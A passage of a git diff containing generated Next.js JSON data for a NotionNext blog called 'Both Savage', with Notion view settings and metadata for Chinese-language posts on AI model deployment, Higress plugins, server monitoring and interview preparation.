694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-5.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-5.json new file mode 100644 index 000000000..ca83d4924 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-5.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 